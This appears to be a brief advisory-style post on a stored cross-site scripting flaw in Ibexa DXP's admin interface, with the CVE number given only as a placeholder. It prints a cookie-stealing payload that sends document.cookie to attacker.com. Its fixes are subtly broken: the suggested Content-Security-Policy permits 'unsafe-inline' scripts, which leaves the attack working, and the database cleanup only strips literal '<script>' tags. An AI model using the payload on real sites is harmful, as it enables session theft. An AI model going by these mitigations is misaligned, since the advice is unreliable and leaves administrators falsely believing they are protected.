How the CVE Works:
The CVE-2025-XXXX vulnerability in Ibexa DXP’s Admin UI allows persistent XSS attacks through insufficient input sanitization in back-office components. Attackers with editor/administrator privileges can inject malicious JavaScript payloads into various admin fields (e.g., content metadata, user profiles). When rendered in the front office or admin interface, these payloads execute in victims’ browsers. The vulnerability chains multiple flaws: improper HTML encoding in Twig templates, lack of Content Security Policy headers, and unsafe DOM manipulation in admin.js. Persistent XSS remains stored in the database and triggers for all users viewing compromised content.

What Undercode Say:
// Proof-of-Concept XSS payload document.location='https://attacker.com/steal?cookie='+document.cookie
Check vulnerable versions grep -r "version" vendor/ibexa/core/src/bundle/Resources/config/version.yml
Temporary mitigation add_header Content-Security-Policy "default-src 'self'; script-src 'unsafe-inline'";
// Sanitization fix example htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
-- Database cleanup for existing XSS UPDATE ezcontentobject_attribute SET data_text = REPLACE(data_text, '<script>', '');
